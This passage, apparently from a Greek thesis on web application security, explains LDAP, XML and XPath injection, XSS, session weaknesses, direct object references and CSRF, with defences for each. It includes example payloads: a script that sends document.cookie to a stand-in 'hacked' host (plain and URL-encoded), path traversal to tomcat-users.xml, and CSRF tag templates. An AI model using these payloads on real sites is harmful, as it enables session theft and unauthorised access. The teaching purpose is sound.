µε πιο τρόπο «ανέβηκε» στον server. Θα πρέπει να επιβλέπουµε την κίνηση στα ports του server και να εντοπίσουµε ποιες πόρτες επιτρέπουν κίνηση χωρίς την άδειά µας. Υπάρχουν πολλά εργαλεία εµπορικά και δωρεάν(πχ. fport) τα οποία αυτόµατα ελέγχουν τις πόρτες και ειδοποιούν τον διαχειριστή για την κίνηση. Επίσης κατά τακτά χρονικά διαστήµατα κοιτάµε στους καταλόγους για ύποπτα αρχεία. Σε περίπτωση που από την εφαρµογή µας δίνεται η δυνατότητα για ανέβασµα αρχείων όπως φωτογραφίες σε forum, διάφορα έγγραφα ταυτοποίησης ή όποιου άλλου τύπου αρχεία τότε πριν δώσουµε την δυνατότητα στον χρήστη να «ξαναδεί» - προσπελάσει αυτά τα αρχεία πάλι, είναι καλό να έχουν ελεγχθεί είτε από κάποιο πρόγραµµα είτε από κάποιον διαχειριστή για τον κώδικα και την εγκυρότητά τους. υστυχώς ακόµα και αν χρησιµοποιήσουµε έλεγχο για το είδος του αρχείου- πχ. µόνο αρχεία.jpeg,png κτλ υπάρχει τρόπος αφού ανέβει το αρχείο στο server µας ο hacker να αλλάξει αµέσως µετά τον τύπο του και να το εκτελέσει. 27

III)LDAP Μία όχι και τόσο συχνή επίθεση καθώς θα πρέπει ο server να κάνει Ldap αναζητήσεις. Αν όµως το σύστηµά µας έχει αυτή τη δυνατότητα και η εφαρµογή την παρέχει στο χρήστη τότε θα πρέπει να ελέγξουµε για αδυναµίες. Ακολουθεί τη λογική της Sql injection και αξίζει εξίσου σοβαρής προσοχής. Ας υποθέσουµε ότι έχουµε µια µηχανή αναζήτησης σε µια σελίδα η οποία αναζητεί χρήστες βάσει του username. Η ερώτηση που θα σχηµατιστεί µετά την είσοδο του username θα έχει τη µορφή : String ldapsearchquery = "(cn=" + $username + ")"; System.out.println(ldapSearchQuery); Εάν αφήσουµε τα δεδοµένα ($username) χωρίς επικύρωση κάποιος µπορεί να εισάγει σαν username = * και να πάρει όλα τα username που υπάρχουν στη βάση. Ακολουθώντας την ίδια λογική θα µπορούσε κάποιος να προσθέσει εντολές αναζήτησης και ενηµέρωσης πάνω στη βάση. Και πάλι, ο τρόπος προστασίας είναι η ΕΠΙΚΥΡΩΣΗ Ε ΟΜΕΝΩΝ!! IV)XML[24][25][26] Μία µικρή εισαγωγή για το τι είναι η XML. Τα αρχικά σηµαίνουν extensible Markup Language. Μιλάµε για µία γλώσσα που χρησιµοποιείτε στο web και είναι συµπληρωµατική της HTML. Ενώ η HTML είναι υπεύθυνη για την παρουσίαση των ιστοσελίδων σε ένα browser η XML ευθύνεται για τη µεταφορά και αποθήκευση δεδοµένων µέσω του ιστού. Η γλώσσα φτιάχτηκε για να µπορούµε να φτιάχνουµε δικές µας ετικέτες για τα δεδοµένα που αποθηκεύονται. Περισσότερες πληροφορίες στους συνδέσµους.[23] Η xml αποθηκεύει τα δεδοµένα σε κόµβους όπως γίνεται στα δένδρα. Ας θεωρήσουµε το παράδειγµα αποθήκευσης των στοιχείων login των χρηστών. Το xml κείµενο θα έχει αυτή τη µορφή: <?xml version="1.0" encoding="iso-8859-1"?> <users> <user> <LoginID> abc </LoginID> <accountno> 11123 </accountno> <passwd> test123 </passwd> <userid>1</userid> <email>tre@somemail.com</email> </user> <user> <LoginID> xyz </LoginID> <accountno> 56723 </accountno> <passwd> testing234 </passwd> <userid>2</userid> <email>tre2@somemail.com</email> </users> </user> Τι γίνεται όµως αν κάποιος προσθέσει έναν κόµβο µε κώδικα 28

<user> <LoginID> abc </LoginID> <accountno> 11123 </accountno> <passwd> test123 </passwd> <userid>1</userid> <email>tre@somemail.com</email><userid>0</userid><email>tre@somemail.com</email> </user> Με αυτό τον τρόπο ο χρήστης θα πήγαινε στην αρχή της λίστας των χρηστών και θα έπαιρνε τη θέση και τα δικαιώµατα του admin. Φανταστείτε τώρα κάποιος να έκανε σε ηλεκτρονικό κατάστηµα την εξής µετατροπή: <order> <price>100.00</price> <item>shoes</item> <price>1.00</price> <item>shoes</item> </order> Τα ψώνια στο internet αποκτούν νέο νόηµα σωστά; Πως προστατευόµαστε; Κατά τα γνωστά των injection επιθέσεων. Επίσης αυτό που µπορούµε να κάνουµε είναι να ελέγχουµε τις φόρµες που αποστέλλονται και πάνω στον server, πέρα από τον έλεγχο που γίνεται στη µεριά του client, συγκρίνοντας τα δεδοµένα µε ήδη αποθηκευµένη φόρµα, εντοπίζοντας αλλαγές και ύποπτες προσθήκες στον κώδικα. V)XPATH Η XPATH είναι η γλώσσα που χρησιµοποιείτε για queries σε βάσεις xml. Λειτουργεί µε τη λογική των sql γλωσσών και η προστασία απέναντι σε επιθέσεις xpath injection είναι παρόµοια µε αυτή της sql injection. 3.2.2-Cross-site scripting (Xss) Στην περίπτωση του Cross site scripting ο hacker καταφέρνει να εκτελέσει κώδικα πάνω στον browser ενός χρήστη. Ο κώδικας είναι γραµµένος συνήθως σε HTML και Java script όµως µπορούν να χρησιµοποιηθούν κι άλλες γλώσσες όπως ActiveX, Java, Flash, Vbscript. Όταν κάποιος καταφέρει να εκτελέσει κώδικα πάνω σε ένα client ο κώδικας αυτός εκτελείτε σαν κώδικας της εφαρµογής και άρα µε τα δικαιώµατα που έχει η εφαρµογή. Έτσι ο επιτιθέµενος αποκτά δικαιώµατα ανάγνωσης, εγγραφής, λήψης και αποστολής στα δεδοµένα που ο browser έχει πρόσβαση. Με την συγκεκριµένη επίθεση ένας hacker µπορεί να κλέψει το session cookie ενός χρήστη(και όχι µόνο) και να χρησιµοποιήσει την ταυτότητά του, για να έχει πρόσβαση στην εφαρµογή µε τα δικαιώµατα της κλεµµένης ταυτότητας. Είναι προφανές το πόσο σοβαρή είναι η επίθεση αυτή ειδικά απέναντι σε εφαρµογές που έχουν να κάνουν µε οικονοµικές συναλλαγές. Επίσης, µπορεί να οδηγήσει τον χρήστη σε κάποιο άλλο site που ο hacker έχει υποδείξει ή να εµφανίσει το δικό του περιεχόµενο στον browser του χρήστη, πχ. διαφηµιστικό υλικό. 29

Η επίθεση χωρίζεται σε 3 είδη. Μόνιµη (persistent or stored), «παροδική»(non persistent) και Dombased. i)στις persistent Xss ο επιβλαβής κώδικας είναι αποθηκευµένος σε κάποιο σηµείο της web app, δηλαδή πάνω στον web server. Μπορεί να βρίσκεται ως µήνυµα σε κάποιο forum ή chat, µέσα στη βάση δεδοµένων ή σε αρχείο log ή σε ένα πίνακα ανακοινώσεων-µηνυµάτων κτλ. Ο κώδικας εκτελείται αυτόµατα όταν ο χρήστης κάνει αίτηση να διαβάσει δεδοµένα από το «µολυσµένο» χώρο. Hacker Επισκέπτης Χρήστης Site Άγνωστη ενέργεια (Persistent Xss) ii)στη non-persistent Xss ο κώδικας «αντανακλάται», γι αυτό λέγεται κι αλλιώς reflected Xss, πάνω στον ευάλωτο server µέσω µιας άλλης διαδροµής. Αυτή µπορεί να είναι µέσω συνδέσµου από κάποιο e-mail ή από εντελώς διαφορετικό server- web app. Ακόµη, µπορούν να επιστρατευτούν και ειδικά φτιαγµένες φόρµες οι οποίες στέλνουν τον επιβλαβή κώδικα στον server και αυτός αντανακλάται στον web browser του χρήστη. Έτσι ο browser εκτελεί τον κώδικα θεωρώντας τον ασφαλή λόγω έγκυρης και έµπιστης προέλευσης. Hacker Server x (Άγνωστο στο χρήστη) Επισκέπτης Χρήστης Site (Γνωστό στο χρήστη) Άγνωστη ενέργεια (Non Persistent) iii)οι επιθέσεις Dom based Xss εκτελούνται τροποποιώντας το Dom µοντέλο του browser ενός χρήστη, από εκεί βγαίνει και η ονοµασία. Το Dom ή Document Object Model είναι η δοµή(ο τρόπος) µε την οποία ένας browser παρουσιάζει τις σελίδες. Όταν εκτελείτε κώδικας Javascript ο browser αποστέλλει αυτόν τον κώδικα σε «αντικείµενα» (objects), τα οποία συνθέτουν και το DOM. To Document Object είναι το βασικότερο αντικείµενο καθώς περιέχει και τα περισσότερα 30

χαρακτηριστικά τις σελίδας προς εµφάνιση. Σε αντίθεση µε τις δύο πρώτες στη Dom based επίθεση δεν απαιτείτε η αποστολή του κώδικα στον server καθώς αυτή εκτελείτε κατευθείαν στον client(browser). Ακολουθούν παραδείγµατα για τις τρεις µεθόδους βασισµένα στις πηγές. Persistent-Xss Έστω ότι σε κάποια εφαρµογή οι χρήστες έχουν το δικαίωµα να γράφουν µηνύµατα σε έναν τοίχο. Η άδεια για ανάρτηση δίνεται από το session cookie. Ας υποθέσουµε πως κάποιος αναρτά µαζί µε το µήνυµα τον παρακάτω κώδικα: <SCRIPT> document.location= http://hacked/cgibin/cookiesteal.cgi? +document.cookie </SCRIPT> Αυτός που θα διαβάσει τα µηνύµατα αυτόµατα αποστέλλει το cookie του στη διεύθυνση που δείχνει ο κώδικας. Non-persistent Xss Γυρνώντας στο παράδειγµα του cookie stealing, έστω ότι ένας χρήστης ανοίγει το σύνδεσµο : http://www.hello/index.php?sessionid=65654&username=jim όπου είναι η σελίδα υποδοχής του χρήστη jim. Αν κάποιος hacker αλλάξει το url και το µετατρέψει σε: http://www.hello/index.php?sessionid=65654& username=<script>document.location= http://hacked/cgibin/cookiesteal.cgi? +document.cookie</script> τότε κλέβει το session cookie του χρήστη. Ασφαλώς το url δε θα χει αυτή τη µορφή γιατί «κανείς» δε θα το ακολουθούσε. Συνήθως είναι κωδικοποιηµένα: http://www.hello/index.php?sessionid=65654& username=%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%6 3%61%74%69%6f%6e%3d%92%68%74%74%70%3a%2f%2f%68%61%63%6b%65%64%2f%63 %67%69%2d%20%62%69%6e%2f%63%6f%6f%6b%69%65%73%74%65%61%6c%2e%63%67 %69%3f%92%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73% 63%72%69%70%74%3e είτε βρίσκονται σαν σύνδεσµοι πίσω από διάφορα αντικείµενα όπως φωτογραφίες ή άλλους συνδέσµους σε αναρτηµένα σχόλια. Πχ: <IMG SRC=JaVaScRiPt:alert('XSS')> <a href=http://ha.ckers.org/xss.js>click here!</a> Φυσικά ανάλογα µε τον browser και τον server η σύνταξη µπορεί να αλλάζει καθώς οι developer προσπαθούν να κλείνουν τις «τρύπες» αλλά ποτέ δε µπορούµε να είµαστε σίγουροι. Υπάρχει πάντα κάποιος που ψάχνει να βρει κάποιο κενό. 31

Dom based Xss[28][29] Επιστέφουµε στο παράδειγµα όπου η σελίδα χαιρετισµού δέχεται στο url το όνοµα του χρήστη και το παρουσιάζει στην επικεφαλίδα της. Είναι συχνό το φαινόµενο να εκτελείτε πάνω στον client ένα javascript, που περιέχεται σε µια html σελίδα, αναλύοντας το url. Ας υποθέσουµε τη σελίδα http://www.example/welcome.html Με κώδικα : <HTML> <TITLE>Welcome!</TITLE> Hi <SCRIPT> var pos=document.url.indexof( name= )+5; document.write(document.url.substring(pos,document.url.length)); </SCRIPT> </HTML> Η σελίδα µας την παράµετρο µε το username θα την χρησιµοποιήσει κάπως έτσι: http://www.example/welcome.html?username=jim Ο επιτιθέµενος µπορεί να µεταβάλει αυτό το url σε : http://www.example.com/welcome.html?username=<script>alert(document.cookie)</script> Αναλυτικότερα, ο browser του χρήστη ξεκινά να παρουσιάσει την html σελίδα στον χρήστη βάση του DOM. To Dom περιέχει το στοιχείο document στο οποίο βρίσκεται η ιδιότητα URL. Στην URL τοποθετείτε η url της σελίδας στην οποία βρισκόµαστε, δηλαδή την http://www.example.com/welcome.html?username=<script>alert(document.cookie)</script>. Καθώς εκτελείται ο κώδικας της html το στοιχείο document.url εκτελείτε αυτόµατα ως µέρος του κώδικα και έτσι επιτυγχάνετε η ΧSS επίθεση. Ένας τρόπος προστασίας για το παράδειγµά µας είναι να αποκλείσουµε χαρακτήρες που µας δηµιουργούν προβλήµατα ορίζοντας τα έγκυρα δεδοµένα. <SCRIPT> var pos=document.url.indexof("name=")+5; var name=document.url.substring(pos,document.url.length); if (name.match(/^[a-za-z0-9]$/)) { document.write(name); } else { window.alert("security error"); } </SCRIPT> 32

Η προστασία κατά της DOM based Xss είναι διαφορετική από τις δύο πρώτες µεθόδους καθώς δεν έχουµε εµπλοκή του server. Γι αυτό εκτός της επικύρωσης των δεδοµένων εισόδου στην πλευρά του client θα πρέπει να υιοθετήσουµε και κάποιες άλλες µεθόδους. Αποφεύγουµε να επεξεργαζόµαστε τα documents του DOM µε δεδοµένα που έχουν εισαχθεί από την πλευρά του client. Οι ευαίσθητες διεργασίες µπορούν να εκτελούνται από δυναµικές σελίδες στον server. Ελέγχουµε αυστηρά τον client side κώδικα (Javascript). Κάθε αναφορά στα object του DOM πρέπει να ελέγχεται αυστηρά. Σε περίπτωση εύρεσης ύποπτων εισόδων στα client side δεδοµένα τότε η σελίδα δε θα πρέπει να παρουσιάζεται καθόλου. Γενικό συµπέρασµα. Αν θέλουµε να µεγιστοποιήσουµε την προστασία της web app από αυτές τις επιθέσεις τότε θα πρέπει να ελέγχουµε τα δεδοµένα εισόδου πχ header,cookies,queries,forms και κάθε είδους παράµετρος µέσω µιας λίστας επιτρεπόµενων χαρακτήρων. Είναι πολύ πιο δύσκολο να διαχειριστούµε µηχανισµούς απαγόρευσης και αφαίρεσης κακόβουλου κώδικα, που στην ουσία υπάρχουν τρόποι απόκρυψης του κώδικα από αυτούς, από το να συγκρίνουµε την είσοδο απέναντι σε µια λίστα µε καθορισµένες εισόδους και σε περίπτωση µη αντιστοίχησης να απορρίπτουµε κατευθείαν την είσοδο. Επίσης πολλά προβλήµατα µπορεί να µας λύσει η κωδικοποίηση των εισόδων σε κώδικα html. Αυτό µπορεί να βοηθήσει σε περιπτώσεις χρήσης java script από τους επιτιθέµενους καθώς ο κώδικας που αποστέλλεται εντέλει στον client δεν είναι εκτελέσιµος. 3.2.3- Μη ασφαλής ταυτοποίηση και διαχείριση συνεδρίας Όταν γράφουµε µία web app είναι πολύ σηµαντικό να προσέξουµε το πώς η εφαρµογή µας διαχειρίζεται την ταυτοποίησή(authentication) του κάθε χρήστη και τη συνεδρία(session) που έχει µαζί του. ύο µηχανισµοί που αρκετές φορές οι developers δεν δίνουν την απαραίτητη προσοχή ή γίνονται αρκετά λάθη στην προσπάθεια δηµιουργίας δικών τους µηχανισµών, δουλειά πολύ δύσκολη. Λόγω των αρκετών επιθέσεων υποκλοπής ταυτότητας, οι οποίες προσβάλλουν αρκετές web app θα πρέπει να υπάρχει µηχανισµός επαναληπτικής διαπίστευσης ακόµα και εάν ο χρήστης έχει ήδη αποκτήσει έγκυρη ταυτότητα συνεδρίας, σε περίπτωση που κάποιος hacker χρησιµοποιεί µια συνεδρία που δεν τερµατίστηκε από τον προηγούµενο χρήστη. Η ταυτοποίηση ενός χρήστη συνήθως γίνεται µε την επαλήθευση ενός username και ενός password. Ακόµα όµως και οι πιο αξιόπιστοι µηχανισµοί µπορεί να παρακαµφθούν από κακογραµµένες συναρτήσεις διαχείρισης διαπιστευτηρίων, αλλαγής password, αποµνηµόνευσης ταυτότητας και κωδικού (remember me boxes), ενηµέρωσης λογαριασµού κλπ. Υπάρχουν και πιο εξελιγµένοι εµπορικοί µηχανισµοί ταυτοποίησης ενός χρήστη πχ. κρυπτογραφηµένου διαπιστευτηρίου µε χρήση software ή hardware, µε το µειονέκτηµα ότι έχουν υψηλό οικονοµικό κόστος. Μία web app κρατά αρχείο των συνεδριών µε σκοπό να παρακολουθεί τις ενέργειες-αιτήσεις κάθε συνδεδεµένου χρήστη. Αυτός ο µηχανισµός είναι διαφορετικός σε κάθε web app καθώς οι developers φτιάχνουν δικούς τους µηχανισµούς. Οι ταυτότητες-σύµβολα (tokens) που χρησιµοποιούνται για την ταυτοποίηση των συνεδριών θα πρέπει να είναι πάντα κρυπτογραφηµένα κατά τη µετάδοσή τους(πχ. χρήση SSL) ώστε να µην υποκλαπούν. Πως ελέγχουµε αν είµαστε ευάλωτοι; Α)Χρησιµοποιούµε εργαλεία αυτόµατα (penetration testing tools) που παρακάµπτουν ή µαντεύουν διαπιστευτήρια και µελετάµε τον κώδικα των µηχανισµών ταυτοποίησης για κενά στην 33

κρυπτογράφηση των διαπιστευτηρίων των χρηστών είτε όταν φυλάσσονται µόνιµα είτε όταν µεταδίδονται. Αν κάποιος αποκτήσει πρόσβαση στη βάση δεδοµένων πόσο εύκολο είναι να αποκτήσει τα password; Αν παρατηρεί την κίνηση τι πληροφορίες βλέπει; Β)Ελέγχουµε τις διεργασίες για την αλλαγή των username και password ενός χρήστη. Εξετάζουµε τον τρόπο µε τον οποίο δίνεται άδεια σε ένα χρήστη για αλλαγή των δεδοµένων αυτών. Γ)Παρατηρούµε αν τα session ID s εµφανίζονται στο url. Υποθέστε κάποιος να στείλει σε ένα φίλο του κάποιο link από µία εφαρµογή πχ. εµπορική. Ο παραλήπτης του link εισέρχεται στην εφαρµογή µε την ταυτότητα του πρώτου. ) Ελέγχουµε αν τα session ID s και οι ίδιες οι συνεδρίες τερµατίζονται σωστά. Αν κάποιος χρησιµοποιήσει ένα δηµόσιο υπολογιστή και δεν κάνει log out το session ID παραµένει ενεργό και ο επόµενος χρήστης θα µπορούσε να συνεχίσει κανονικά να χρησιµοποιεί την εφαρµογή µε τα δικαιώµατα του πρώτου. Τι κάνουµε για να προστατευτούµε; Α)ΠΟΤΕ δεν αφήνουµε χωρίς κρυπτογράφηση τα διαπιστευτήρια των χρηστών. Επίσης είναι χρήσιµο να υποχρεώνουµε τους χρήστες να χρησιµοποιούν έναν ελάχιστο αριθµό χαρακτήρων password µε εναλλαγή σε χαρακτήρες(αριθµούς, πεζά- κεφαλαία, ειδικοί χαρακτήρες). Σε εφαρµογές που χρειάζονται µεγάλο βαθµό προστασίας (πχ τραπεζικές) είναι καλό να ζητείτε από το χρήστη να αλλάζει ανά κάποιο χρονικό διάστηµα τον κωδικό(password). Β)Οριοθετούµε σε ένα µέγιστο αριθµό τις προσπάθειες για log in σε ένα χρήστη µέσα σε ένα χρονικό διάστηµα και καταγράφουµε τις ip που προσπαθούν ανεπιτυχώς να εισέλθουν στο σύστηµα. Γ) Είµαστε πολύ αυστηροί στα δικαιώµατα που έχει κάποιος πάνω στα δεδοµένα των βάσεων. Επιτρέπουµε µόνο τα απολύτως απαραίτητα για την οµαλή λειτουργία της εφαρµογής. )Λαµβάνουµε όλα τα προηγούµενα µέτρα έναντι των επιθέσεων που µπορούν να καταλήξουν σε κλοπή της ταυτότητας ενός χρήστη. Ε) εν εµφανίζουµε ποτέ στην πλευρά του client το session ID χρησιµοποιώντας SSL κρυπτογράφηση στις συνεδρίες ή όποια άλλη κρυπτογράφηση χρησιµοποιεί το σύστηµά µας. Επίσης µπορούµε να αλλάζουµε το session ID µιας συνεδρίας κατά τη διάρκειά της µειώνοντας έτσι την πιθανότητα να χρησιµοποιηθεί κάποιο κλεµµένο. ΣΤ)Αποφεύγουµε να γράφουµε δικές µας συναρτήσεις για διαδικασίες ταυτοποίησης,τερµατισµού συνεδρίας. Χρησιµοποιούµε δοκιµασµένους µηχανισµούς. 3.2.4- Ανασφαλείς άµεσες αναφορές σε αντικείµενα Η συγκεκριµένη επίθεση εκµεταλλεύεται το γεγονός ότι σε συγκεκριµένες ιστοσελίδες οι developers κάνουν αναφορά σε εσωτερικά αντικείµενα(αρχεία, φακέλους, στοιχείο βάσεως δεδοµένων, κλειδί, άλλες παράµετροι) µέσω του URL,φορµών ή cookies. Ένα πρόβληµα που υπάρχει µε αυτές τις επιθέσεις είναι το γεγονός πως συνήθως δεν εντοπίζονται από απλούς ανιχνευτές αδυναµιών(scanners). Ο εντοπισµός τους γίνεται µε προσεκτική ανάγνωση του κώδικα για να εξακριβώσουµε αν σηµαντικά δεδοµένα µπορούν να επεξεργαστούν από τον οποιονδήποτε χρήστη και µε τη χρήση penetration testing εργαλείων. Παραδείγµατα: Έστω ένα site το οποίο εµφανίζει στο χρήστη το παρακάτω url 34

http://www.example.com/showfile.php?filename=somefile.txt Είναι προφανές πως κάποιος hacker θα προσπαθούσε να µαντέψει το όνοµα κάποιου άλλου αρχείου στην ίδια θέση καταλόγου πχ. password.txt, users.txt κτλ. Προχωρώντας ένα βήµα πιο πέρα η είσοδος θα µπορούσε να ήταν οποιαδήποτε θέση µέσα στην εφαρµογή και οποιοδήποτε αρχείο:?filename=path/../file.file O hacker µέσω περιήγησης στους καταλόγους της σελίδας µπορεί να εµφανίσει πιο σηµαντικά αρχεία. Έχοντας και πληροφορίες για τον server στον οποίο τρέχει η web app τότε είναι προφανής η ζηµιά που µπορεί να γίνει. Για παράδειγµα αν η εφαρµογή τρέχει πάνω σε ένα server tomcat τότε είναι γνωστή η τοποθεσία του αρχείου των χρηστών. Tο url θα είχε την µορφή:..?filename=../../tomcat/conf/tomcat-users.xml Στο επόµενο παράδειγµα η αναφορά γίνεται πάνω σε ένα στοιχείο βάσης δεδοµένων. http://www.example.com/account.php?userid=111 Εδώ βλέπουµε µια εφαρµογή, ας υποθέσουµε τράπεζας, όπου χρησιµοποιώντας το userid εµφανίζονται οι προσωπικές σελίδες των χρηστών. Τι θα γινόταν αν κάποιος άλλαζε το 111 µε κάποιον άλλο αριθµό; Αν η επίθεση ήταν επιτυχής τότε αυτόµατα έχει πρόσβαση σε όλους τους λογαριασµούς. Πως προστατευόµαστε; Σαν πρώτο µέτρο είναι προφανές πως δε θα πρέπει να εµφανίζονται ευαίσθητες πληροφορίες για τα αντικείµενα µιας web app. Αρχεία, κατάλογοι, εσωτερικά και εξωτερικά url s δε θα πρέπει να εµφανίζονται στο χρήστη. Η αναφορά σε τόσο ευαίσθητα δεδοµένα θα πρέπει να γίνεται έµµεσα. Ας θεωρήσουµε το κοινό παράδειγµα[34] µε τα κουτάκια επιλογής όπου ένας χρήστης επιλέγει ποια πιστωτική κάρτα θέλει να χρησιµοποιήσει. Αντί για την εµφάνιση του κλειδιού που χρησιµοποιείτε για να δείξουµε στη βάση δεδοµένων, αντιγράφουµε όλα τα id των καρτών του χρήστη που έχουµε στο αρχείο και φτιάχνουµε µια δεύτερη λίστα ή δοµή (structure) και µε διαφορετική αρίθµηση πχ.1,2,3,4,... Αποστέλλουµε το νέο πίνακα - λίστα - δοµή στη συνεδρία του χρήστη και ζητάµε από το χρήστη να κάνει την επιλογή του. Σε περιπτώσεις που η άµεση αναφορά είναι αναγκαία, τότε ο developer της εφαρµογής θα πρέπει να έχει εξασφαλίσει ότι κάθε χρήστης είναι ταυτοποιηµένος και έχει τα δικαιώµατα να δει ή να επεξεργαστεί αυτά τα δεδοµένα αναθέτοντάς του συγκεκριµένα δικαιώµατα για τα συγκεκριµένα αντικείµενα. Και πάλι θα πρέπει να είµαστε πολύ αυστηροί µε την ανάθεση δικαιωµάτων και σίγουροι για την ταυτότητα. 3.2.5- Cross-site Request Forgery (CSRF) Γνωστή και ως XSRF ή Session Riding, η csrf εκµεταλλεύεται την εµπιστοσύνη που δείχνει η web app στις αιτήσεις που γίνονται από ένα ταυτοποιηµένο χρήστη µέσω του browser, σε αντίθεση µε την cross site scripting όπου ο χρήστης (browser) εµπιστεύεται τα δεδοµένα από τη web app. Οι ενέργειες πάνω σε ένα site γίνονται συνήθως µέσω των url. Αν ένας επιτιθέµενος καταφέρει να 35

ξεγελάσει έναν χρήστη να ακολουθήσει ένα σύνδεσµο µε κακόβουλο κώδικα τότε µπορεί να καταφέρει να εκτελέσει ενέργειες που αυτός θέλει µε την ταυτότητα και τα δικαιώµατα που έχει ο εξαπατηµένος χρήστης πάνω στο site(web app) που ο hacker ξέρει ότι ο χρήστης είναι ταυτοποιηµένος(logged in). Η εφαρµογή δέχεται την αίτηση από το χρήστη και θεωρεί ότι αυτή την ενέργεια θέλει να εκτελέσει. Έτσι έχουµε ένα csrf exploit. Και φανταστείτε το πόσο σοβαρή µπορεί να είναι αυτή η επίθεση αν ο χρήστης που χρησιµοποιεί ο επιτιθέµενος είναι διαχειριστής της σελίδας. Ανάλογα µε την CSS η CSRF επίθεση µπορεί να χωριστεί σε δύο κατηγορίες. Stored και Reflected. Στη stored ο σύνδεσµος είναι αποθηκευµένος σε σελίδα της web app και έχει πολύ πιο µεγάλες πιθανότητες να είναι επιτυχηµένη αφού ο χρήστης είναι σίγουρο πως θα είναι συνδεδεµένος(logged in) στην εφαρµογή. Στην reflected ο επιτιθέµενος ελπίζει πως η σύνδεση του χρήστη στο στοχευόµενο site δε θα έχει τερµατιστεί ακόµα. Η πιο δηµοφιλής µέθοδος για την εκτέλεση αυτής της επίθεσης είναι η αλλοίωση του κώδικα των ετικετών των html εικόνων και του javascript πίσω από αντικείµενα εικόνας. Ο επιτιθέµενος φτιάχνει ενσωµατώνει τέτοια στοιχεία σε ένα email ή µια ιστοσελίδα έτσι ώστε όταν ο χρήστης ανοίξει στον browser τη σελίδα ή το email να εκτελεστεί ο κώδικας. Παρακάτω υπάρχουν ενδεικτικοί τρόποι µε τους οποίους γίνονται οι αιτήσεις που θέλει ένας hacker[35]. IMG SRC <img src="http://host/?command"> SCRIPT SRC <script src="http://host/?command"> IFRAME SRC <iframe src="http://host/?command"> JavaScript Methods 'Image' Object <script> var foo = new Image(); foo.src = "http://host/?command"; </script> Είναι η εφαρµογή µας ευάλωτη; Αν το site µας δέχεται αιτήσεις και εκτελεί ενέργειες από url s ή χρησιµοποιεί POST µεθόδους τότε είναι πιθανός ευάλωτη. Αν χρησιµοποιεί για request ενέργειες τη µέθοδο GET τότε η πιθανότητα αυξάνεται. Ένας καλός τρόπος για έλεγχο είναι να περιηγηθούµε στην web app και να καταγράψουµε τις ενέργειες- αιτήσεις που γίνονται µέσω ενός µεσολαβητή-proxy. Στη συνέχεια µετά από κάποιο χρονικό διάστηµα (το cookie θα έχει αλλάξει) κάνουµε το ίδιο. Αν δεν υπάρχει αλλαγή στην απόκριση της web app τότε υπάρχει πρόβληµα. 36

Πως προστατευόµαστε; Υπάρχουν κάποιοι τρόποι οι οποίοι παρέχουν προστασία αλλά δεν αποκλείουν την πιθανότητα exploit. Μπορεί να κάνουν την προσπάθεια των hacker πιο δύσκολη αλλά σίγουρα όχι αδύνατη. Σίγουρα όµως θα πρέπει να εφαρµόζονται. A) H χρήση της µεθόδου POST έναντι της GET σε HTML φόρµες. Αν και η προσπάθεια που πρέπει να καταβάλει ο hacker είναι µεγαλύτερη είναι δυνατόν να προσθέσει σε µια φόρµα κρυφά δεδοµένα και ενώ ο χρήστης αποστέλλει τη φόρµα µε συγκεκριµένα στοιχεία η φόρµα µπορεί να σταλεί και σε άλλο site αλλά και µε διαφορετικές παραµέτρους. Β) Η χρήση της $_POST έναντι της $_REQUEST σε αιτήσεις. Ισχύει η ανωτέρα περίπτωση. Ως πιο άµεσα µέτρα υπάρχουν οι εξής ενέργειες: Α)Η πρώτη και πιο συχνά χρησιµοποιούµενη είναι η χρήση ειδικών φορµών οι οποίες περιέχουν ανάµεσα στα δεδοµένα που εισάγει ο χρήστης ένα κρυµµένο κλειδί ή αντικείµενο το οποίο είναι µοναδικό για κάθε αίτηση ενός χρήστη. Το κλειδί αντικείµενο είναι κρυπτογραφηµένο και παράγεται από µία ψευδοτυχαία γεννήτρια. Πρέπει να είναι κρυπτογραφηµένα τα κλειδιά αυτά ώστε να µην ανακαλυφθεί ο αλγόριθµος παραγωγής τους. Μαζί µε κάθε αποστολή φόρµας η web app ελέγχει και το µοναδικό(ανά αίτηση συνεδρίας) κλειδί και αν είναι διαφορετικό τότε η φόρµα απορρίπτεται και καταγράφεται σε ένα log αρχείο το γεγονός. Β)Έλεγχος στην αίτηση http για τον referrer(το site από το οποίο προήλθε η αίτηση). Αυτή η µέθοδος προφυλάσσει από reflected CSRF καθώς αν η αίτηση δεν προέλθει από το ίδιο site της web app τότε η αίτηση απορρίπτεται. Γ)Σε εφαρµογές που διαχειρίζονται πολύ ευαίσθητα δεδοµένα (εφαρµογές τραπεζών) προγραµµατίζουµε την web app να τερµατίζει τις ανενεργές για κάποιο χρονικό διάστηµα συνεδρίες και να απαιτεί επανασύνδεση(re-login) του χρήστη για να χρησιµοποιήσει ξανά τις υπηρεσίες. )Ζητάµε από το χρήστη να µας αποστέλλει µαζί µε την αίτηση ξανά τα διαπιστευτήριά του(κωδικό πρόσβασης ή κάποιο άλλο στοιχείο που χρησιµοποιεί για log in). Αυτή η µέθοδος χρησιµοποιείται σε περιπτώσεις που η εφαρµογή έχει κάποιες σηµαντικές αιτήσεις µε ευαίσθητα δεδοµένα και εµφανίζονται σπάνια. Ε) ιπλή αποστολή του cookie(double cookie post). Σε αυτή τη µέθοδο παίρνουµε το session id από το cookie που χρησιµοποιείται για την ταυτοποίηση του χρήστη και το αποστέλλουµε µαζί µε την αίτησή που κάνει ο χρήστης(είτε µέσω φόρµας είτε µέσω url). Η εφαρµογή τότε συγκρίνει την τιµή µε την τιµή που υπάρχει στο cookie και αν δεν είναι ίδια τότε η αίτηση απορρίπτεται. Αυτά είναι µέτρα που εφαρµόζονται από τους διαχειριστές και τους developers της εφαρµογής. Επειδή όµως από αυτήν την επίθεση προσβάλλεται άµεσα και ο χρήστης υπάρχουν και µέτρα που µπορεί να πάρει ο ίδιος για να προστατέψει τον λογαριασµό του σε µια εφαρµογή. Α)Κάνουµε αµέσως log off όταν σταµατάµε να χρησιµοποιούµε την web app. Β) εν επιλέγουµε remember me κουτάκια και δεν αποθηκεύουµε στον browser username και password. Γ) ε χρησιµοποιούµε τον ίδιο browser που χρησιµοποιούµε για την συνηθισµένη πλοήγηση όταν χρησιµοποιούµε σηµαντικές εφαρµογές(πχ. τραπεζικές). ε χρησιµοποιούµε πολλαπλές καρτέλες. )Αποφεύγουµε να χρησιµοποιούµε ενσωµατωµένους mail browser και rss readers στον βασικό µας browser. Ε)Χρησιµοποιούµε εργαλεία για να 